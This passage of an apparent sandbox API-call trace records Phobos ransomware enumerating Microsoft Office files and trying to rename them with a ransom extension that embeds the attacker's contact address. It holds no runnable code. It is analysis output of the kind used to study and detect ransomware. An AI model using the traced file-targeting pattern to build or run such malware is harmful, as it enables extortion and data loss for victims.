dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.381] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.382] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=12376) returned 1 [0154.382] CloseHandle (hObject=0x488) returned 1 [0154.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bhointl.dll")) returned 0x220 [0154.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BHOINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bhointl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.385] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=56952) returned 1 [0154.385] CloseHandle (hObject=0x57c) returned 1 [0154.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bstorm.vsl")) returned 0x220 [0154.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BSTORM.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bstorm.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.386] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.387] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2144) returned 1 [0154.387] CloseHandle (hObject=0x57c) returned 1 [0154.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\calevent.vrd")) returned 0x220 [0154.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CALEVENT.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\calevent.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.387] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.388] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=13936) returned 1 [0154.388] CloseHandle (hObject=0x57c) returned 1 [0154.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\certintl.dll")) returned 0x220 [0154.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CERTINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\certintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.389] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.390] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=103568) returned 1 [0154.390] CloseHandle (hObject=0x57c) returned 1 [0154.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\clvwintl.dll")) returned 0x220 [0154.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CLVWINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\clvwintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.390] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.391] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4710) returned 1 [0154.391] CloseHandle (hObject=0x57c) returned 1 [0154.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico")) returned 0x220 [0154.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.392] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.393] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=173656) returned 1 [0154.393] CloseHandle (hObject=0x57c) returned 1 [0154.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbwiz.vsl")) returned 0x220 [0154.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBWIZ.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbwiz.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.394] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\doorschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.398] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1723) returned 1 [0154.398] CloseHandle (hObject=0x488) returned 1 [0154.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\doorschd.vrd")) returned 0x220 [0154.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DOORSCHD.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\doorschd.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.399] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgcnv.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.402] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=46656) returned 1 [0154.402] CloseHandle (hObject=0x488) returned 1 [0154.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgcnv.vsl")) returned 0x220 [0154.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGCNV.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgcnv.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.403] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eawfintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.405] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=53872) returned 1 [0154.405] CloseHandle (hObject=0x488) returned 1 [0154.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eawfintl.dll")) returned 0x220 [0154.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EAWFINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eawfintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eawfintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.437] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grlex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.438] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=14944) returned 1 [0154.438] CloseHandle (hObject=0x488) returned 1 [0154.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grlex.dll")) returned 0x220 [0154.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRLEX.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grlex.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grlex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.439] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.440] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=128972) returned 1 [0154.440] CloseHandle (hObject=0x488) returned 1 [0154.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs")) returned 0x220 [0154.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.440] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.441] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=8901800) returned 1 [0154.441] CloseHandle (hObject=0x488) returned 1 [0154.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll")) returned 0x220 [0154.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll")) returned 0 [0154.441] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.442] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=626) returned 1 [0154.442] CloseHandle (hObject=0x488) returned 1 [0154.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc")) returned 0x220 [0154.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.443] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.444] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=218) returned 1 [0154.444] CloseHandle (hObject=0x488) returned 1 [0154.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt")) returned 0x220 [0154.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.444] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.445] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=111) returned 1 [0154.445] CloseHandle (hObject=0x488) returned 1 [0154.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk")) returned 0x220 [0154.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.446] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.447] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=110) returned 1 [0154.447] CloseHandle (hObject=0x488) returned 1 [0154.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk")) returned 0x220 [0154.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 